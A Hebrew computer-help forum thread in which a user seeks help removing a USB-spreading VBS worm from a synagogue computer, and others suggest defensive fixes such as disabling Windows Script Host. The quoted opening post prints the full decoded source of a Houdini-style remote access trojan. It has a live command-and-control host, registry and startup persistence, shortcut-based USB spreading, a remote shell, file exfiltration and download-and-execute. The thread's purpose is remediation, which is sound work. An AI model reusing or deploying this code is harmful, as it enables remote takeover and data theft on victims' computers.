דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
43 פוסטים 13 כותבים 472 צפיות 11 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • מתכנת חובבמ מתכנת חובב

    @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

    ר מנותק
    ר מנותק
    רנדומלי
    כתב נערך לאחרונה על ידי
    #16

    השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
    מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

    מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

    גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

    @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

    cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
    0
    • ר רנדומלי

      השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
      מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

      מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

      גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

      @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

      cfopuserC מנותק
      cfopuserC מנותק
      cfopuser
      כתב נערך לאחרונה על ידי
      #17

      @רנדומלי היא כן.

      תגובה 1 תגובה אחרונה
      1
      • ר רנדומלי

        בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

        cmd /c hrxxryydxo.vbs && start explorer [file name]
        

        הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

        תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

        לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

        z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
        

        בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
        לאחר פיענוח הקידוד התקבל הקוד הבא:
        אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

        e
        '<[ recoder : houdini (c) skype : houdini-fx ]>
        
        '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
        
        host = "khattab.no-ip.biz"
        port = 5550
        installdir = "%temp%"
        lnkfile = true
        lnkfolder = true
        
        '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
        
        dim shellobj 
        set shellobj = wscript.createobject("wscript.shell")
        dim filesystemobj
        set filesystemobj = createobject("scripting.filesystemobject")
        dim httpobj
        set httpobj = createobject("msxml2.xmlhttp")
        
        '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
        
        installname = wscript.scriptname
        startup = shellobj.specialfolders ("startup") & "\"
        installdir = shellobj.expandenvironmentstrings(installdir) & "\"
        if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
        spliter = "<" & "|" & ">"
        sleep = 5000 
        dim response
        dim cmd
        dim param
        info = ""
        usbspreading = ""
        startdate = ""
        dim oneonce
        
        '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
        on error resume next
        
        instance
        while true
        
        install
        
        response = ""
        response = post ("is-ready","")
        cmd = split (response,spliter)
        select case cmd (0)
        case "excecute"
              param = cmd (1)
              execute param
        case "update"
              param = cmd (1)
              oneonce.close
              set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
              oneonce.write param
              oneonce.close
              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
              wscript.quit 
        case "uninstall"
              uninstall
        case "send"
              download cmd (1),cmd (2)
        case "site-send"
              sitedownloader cmd (1),cmd (2)
        case "recv"
              param = cmd (1)
              upload (param)
        case  "enum-driver"
              post "is-enum-driver",enumdriver  
        case  "enum-faf"
              param = cmd (1)
              post "is-enum-faf",enumfaf (param)
        case  "enum-process"
              post "is-enum-process",enumprocess   
        case  "cmd-shell"
              param = cmd (1)
              post "is-cmd-shell",cmdshell (param)  
        case  "delete"
              param = cmd (1)
              deletefaf (param) 
        case  "exit-process"
              param = cmd (1)
              exitprocess (param) 
        case  "sleep"
              param = cmd (1)
              sleep = eval (param)        
        end select
        
        wscript.sleep sleep
        
        wend
        
        sub install
        on error resume next
        dim lnkobj
        dim filename
        dim foldername
        dim fileicon
        dim foldericon
        
        upstart
        for each drive in filesystemobj.drives
        
        if  drive.isready = true then
        if  drive.freespace  > 0 then
        if  drive.drivetype  = 1 then
            filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
            if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
            end if
            for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                if not lnkfile then exit for
                if  instr (file.name,".") then
                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                        file.attributes = 2+4
                        if  ucase (file.name) <> ucase (installname) then
                            filename = split(file.name,".")
                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                            lnkobj.windowstyle = 7
                            lnkobj.targetpath = "cmd.exe"
                            lnkobj.workingdirectory = ""
                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                            if  instr (fileicon,",") = 0 then
                                lnkobj.iconlocation = file.path
                            else 
                                lnkobj.iconlocation = fileicon
                            end if
                            lnkobj.save()
                        end if
                    end if
                end if
            next
            for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                if not lnkfolder then exit for
                folder.attributes = 2+4
                foldername = folder.name
                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                lnkobj.windowstyle = 7
                lnkobj.targetpath = "cmd.exe"
                lnkobj.workingdirectory = ""
                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                if  instr (foldericon,",") = 0 then
                    lnkobj.iconlocation = folder.path
                else 
                    lnkobj.iconlocation = foldericon
                end if
                lnkobj.save()
            next
        end If
        end If
        end if
        next
        err.clear
        end sub
        
        sub uninstall
        on error resume next
        dim filename
        dim foldername
        
        shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
        shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
        filesystemobj.deletefile startup & installname ,true
        filesystemobj.deletefile wscript.scriptfullname ,true
        
        for  each drive in filesystemobj.drives
        if  drive.isready = true then
        if  drive.freespace  > 0 then
        if  drive.drivetype  = 1 then
            for  each file in filesystemobj.getfolder ( drive.path & "\").files
                 on error resume next
                 if  instr (file.name,".") then
                     if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                         file.attributes = 0
                         if  ucase (file.name) <> ucase (installname) then
                             filename = split(file.name,".")
                             filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                         else
                             filesystemobj.deletefile (drive.path & "\" & file.name)
                         end If
                     else
                         filesystemobj.deletefile (file.path) 
                     end if
                 end if
             next
             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                 folder.attributes = 0
             next
        end if
        end if
        end if
        next
        wscript.quit
        end sub
        
        function post (cmd ,param)
        
        post = param
        httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
        httpobj.setrequestheader "user-agent:",information
        httpobj.send param
        post = httpobj.responsetext
        end function
        
        function information
        on error resume next
        if  inf = "" then
            inf = hwid & spliter 
            inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
            inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
        
            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set os = root.execquery ("select * from win32_operatingsystem")
            for each osinfo in os
               inf = inf & osinfo.caption & spliter  
               exit for
            next
            inf = inf & "plus" & spliter
            inf = inf & security & spliter
            inf = inf & usbspreading
            information = inf  
        else
            information = inf
        end if
        end function
        
        sub upstart ()
        on error resume Next
        
        shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
        filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
        filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
        
        end sub
        
        function hwid
        on error resume next
        
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set disks = root.execquery ("select * from win32_logicaldisk")
        for each disk in disks
            if  disk.volumeserialnumber <> "" then
                hwid = disk.volumeserialnumber
                exit for
            end if
        next
        end function
        
        function security 
        on error resume next
        
        security = ""
        
        set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
        for each objitem in colitems
            versionstr = split (objitem.version,".")
        next
        versionstr = split (colitems.version,".")
        osversion = versionstr (0) & "."
        for  x = 1 to ubound (versionstr)
             osversion = osversion &  versionstr (i)
        next
        osversion = eval (osversion)
        if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
        
        set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
        Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
        
        for each objantivirus in colantivirus
            security  = security  & objantivirus.displayname & " ."
        next
        if security  = "" then security  = "nan-av"
        end function
        
        function instance
        on error resume next
        
        usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
        if usbspreading = "" then
           if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
              usbspreading = "true - " & date
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
           else
              usbspreading = "false - " & date
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
        
           end if
        end If
        
        
        upstart
        set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
        set installfullnameshort =  filesystemobj.getfile (installdir & installname)
        if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
            wscript.quit 
        end If
        err.clear
        set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
        if  err.number > 0 then wscript.quit
        end function
        
        sub sitedownloader (fileurl,filename)
        
        strlink = fileurl
        strsaveto = installdir & filename
        set objhttpdownload = createobject("msxml2.xmlhttp" )
        objhttpdownload.open "get", strlink, false
        objhttpdownload.send
        
        set objfsodownload = createobject ("scripting.filesystemobject")
        if  objfsodownload.fileexists (strsaveto) then
            objfsodownload.deletefile (strsaveto)
        end if
         
        if objhttpdownload.status = 200 then
           dim  objstreamdownload
           set  objstreamdownload = createobject("adodb.stream")
           with objstreamdownload
                .type = 1 
                .open
                .write objhttpdownload.responsebody
                .savetofile strsaveto
                .close
           end with
           set objstreamdownload = nothing
        end if
        if objfsodownload.fileexists(strsaveto) then
           shellobj.run objfsodownload.getfile (strsaveto).shortpath
        end if 
        end sub
        
        sub download (fileurl,filedir)
        
        if filedir = "" then 
           filedir = installdir
        end if
        
        strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
        set objhttpdownload = createobject("msxml2.xmlhttp")
        objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
        objhttpdownload.send ""
             
        set objfsodownload = createobject ("scripting.filesystemobject")
        if  objfsodownload.fileexists (strsaveto) then
            objfsodownload.deletefile (strsaveto)
        end if
        if  objhttpdownload.status = 200 then
            dim  objstreamdownload
            set  objstreamdownload = createobject("adodb.stream")
            with objstreamdownload 
                 .type = 1 
                 .open
                 .write objhttpdownload.responsebody
                 .savetofile strsaveto
                 .close
            end with
            set objstreamdownload  = nothing
        end if
        if objfsodownload.fileexists(strsaveto) then
           shellobj.run objfsodownload.getfile (strsaveto).shortpath
        end if 
        end sub
        
        function upload (fileurl)
        
        dim  httpobj,objstreamuploade,buffer
        set  objstreamuploade = createobject("adodb.stream")
        with objstreamuploade 
             .type = 1 
             .open
             .loadfromfile fileurl
             buffer = .read
             .close
        end with
        set objstreamdownload = nothing
        set httpobj = createobject("msxml2.xmlhttp")
        httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
        httpobj.send buffer
        end function
        
        function enumdriver ()
        
        for  each drive in filesystemobj.drives
        if   drive.isready = true then
             enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
        end if
        next
        end Function
        
        function enumfaf (enumdir)
        
        enumfaf = enumdir & spliter
        for  each folder in filesystemobj.getfolder (enumdir).subfolders
             enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
        next
        
        for  each file in filesystemobj.getfolder (enumdir).files
             enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
        
        next
        end function
        
        function enumprocess ()
        
        on error resume next
        
        set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
        set colitems = objwmiservice.execquery("select * from win32_process",,48)
        
        dim objitem
        for each objitem in colitems
            enumprocess = enumprocess & objitem.name & "|"
            enumprocess = enumprocess & objitem.processid & "|"
            enumprocess = enumprocess & objitem.executablepath & spliter
        next
        end function
        
        sub exitprocess (pid)
        on error resume next
        
        shellobj.run "taskkill /F /T /PID " & pid,7,true
        end sub
        
        sub deletefaf (url)
        on error resume next
        
        filesystemobj.deletefile url
        filesystemobj.deletefolder url
        
        end sub
        
        function cmdshell (cmd)
        
        dim httpobj,oexec,readallfromany
        
        set oexec = shellobj.exec ("%comspec% /c " & cmd)
        if not oexec.stdout.atendofstream then
           readallfromany = oexec.stdout.readall
        elseif not oexec.stderr.atendofstream then
           readallfromany = oexec.stderr.readall
        else 
           readallfromany = ""
        end if
        
        cmdshell = readallfromany
        end function
        
        ת מנותק
        ת מנותק
        תלמידהון
        כתב נערך לאחרונה על ידי
        #18

        @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

        תגובה 1 תגובה אחרונה
        0
        • ר רנדומלי

          השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
          מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

          מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

          גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

          @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

          מתכנת חובבמ מנותק
          מתכנת חובבמ מנותק
          מתכנת חובב
          מדריכים
          כתב נערך לאחרונה על ידי
          #19

          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

          היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

          ר תגובה 1 תגובה אחרונה
          1
          • מתכנת חובבמ מתכנת חובב

            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

            היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

            ר מנותק
            ר מנותק
            רנדומלי
            כתב נערך לאחרונה על ידי
            #20

            @מתכנת-חובב
            השאלה היא אם הקוד הנוכחי אכן עושה זאת.
            כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

            @תלמידהון
            כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

            ת מתכנת חובבמ 2 תגובות תגובה אחרונה
            0
            • ר רנדומלי

              @מתכנת-חובב
              השאלה היא אם הקוד הנוכחי אכן עושה זאת.
              כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

              @תלמידהון
              כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

              ת מנותק
              ת מנותק
              תלמידהון
              כתב נערך לאחרונה על ידי
              #21

              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

              אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

              תגובה 1 תגובה אחרונה
              1
              • ר רנדומלי

                @מתכנת-חובב
                השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                @תלמידהון
                כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                מתכנת חובבמ מנותק
                מתכנת חובבמ מנותק
                מתכנת חובב
                מדריכים
                כתב נערך לאחרונה על ידי מתכנת חובב
                #22

                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                ר תגובה 1 תגובה אחרונה
                0
                • מתכנת חובבמ מתכנת חובב

                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                  בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                  לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                  תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                  ר מנותק
                  ר מנותק
                  רנדומלי
                  כתב נערך לאחרונה על ידי
                  #23

                  @מתכנת-חובב
                  תהיה מוכן להסביר לי איך אני מכבה VBS?

                  זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                  מתכנת חובבמ תגובה 1 תגובה אחרונה
                  0
                  • ר רנדומלי

                    @מתכנת-חובב
                    תהיה מוכן להסביר לי איך אני מכבה VBS?

                    זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                    מתכנת חובבמ מנותק
                    מתכנת חובבמ מנותק
                    מתכנת חובב
                    מדריכים
                    כתב נערך לאחרונה על ידי
                    #24

                    @רנדומלי תריץ את זה כמנהל

                    reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
                    

                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                    תגובה 1 תגובה אחרונה
                    2
                    • ר רנדומלי

                      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                      cmd /c hrxxryydxo.vbs && start explorer [file name]
                      

                      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                      

                      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                      לאחר פיענוח הקידוד התקבל הקוד הבא:
                      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                      e
                      '<[ recoder : houdini (c) skype : houdini-fx ]>
                      
                      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                      
                      host = "khattab.no-ip.biz"
                      port = 5550
                      installdir = "%temp%"
                      lnkfile = true
                      lnkfolder = true
                      
                      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                      
                      dim shellobj 
                      set shellobj = wscript.createobject("wscript.shell")
                      dim filesystemobj
                      set filesystemobj = createobject("scripting.filesystemobject")
                      dim httpobj
                      set httpobj = createobject("msxml2.xmlhttp")
                      
                      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                      
                      installname = wscript.scriptname
                      startup = shellobj.specialfolders ("startup") & "\"
                      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                      spliter = "<" & "|" & ">"
                      sleep = 5000 
                      dim response
                      dim cmd
                      dim param
                      info = ""
                      usbspreading = ""
                      startdate = ""
                      dim oneonce
                      
                      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                      on error resume next
                      
                      instance
                      while true
                      
                      install
                      
                      response = ""
                      response = post ("is-ready","")
                      cmd = split (response,spliter)
                      select case cmd (0)
                      case "excecute"
                            param = cmd (1)
                            execute param
                      case "update"
                            param = cmd (1)
                            oneonce.close
                            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                            oneonce.write param
                            oneonce.close
                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                            wscript.quit 
                      case "uninstall"
                            uninstall
                      case "send"
                            download cmd (1),cmd (2)
                      case "site-send"
                            sitedownloader cmd (1),cmd (2)
                      case "recv"
                            param = cmd (1)
                            upload (param)
                      case  "enum-driver"
                            post "is-enum-driver",enumdriver  
                      case  "enum-faf"
                            param = cmd (1)
                            post "is-enum-faf",enumfaf (param)
                      case  "enum-process"
                            post "is-enum-process",enumprocess   
                      case  "cmd-shell"
                            param = cmd (1)
                            post "is-cmd-shell",cmdshell (param)  
                      case  "delete"
                            param = cmd (1)
                            deletefaf (param) 
                      case  "exit-process"
                            param = cmd (1)
                            exitprocess (param) 
                      case  "sleep"
                            param = cmd (1)
                            sleep = eval (param)        
                      end select
                      
                      wscript.sleep sleep
                      
                      wend
                      
                      sub install
                      on error resume next
                      dim lnkobj
                      dim filename
                      dim foldername
                      dim fileicon
                      dim foldericon
                      
                      upstart
                      for each drive in filesystemobj.drives
                      
                      if  drive.isready = true then
                      if  drive.freespace  > 0 then
                      if  drive.drivetype  = 1 then
                          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
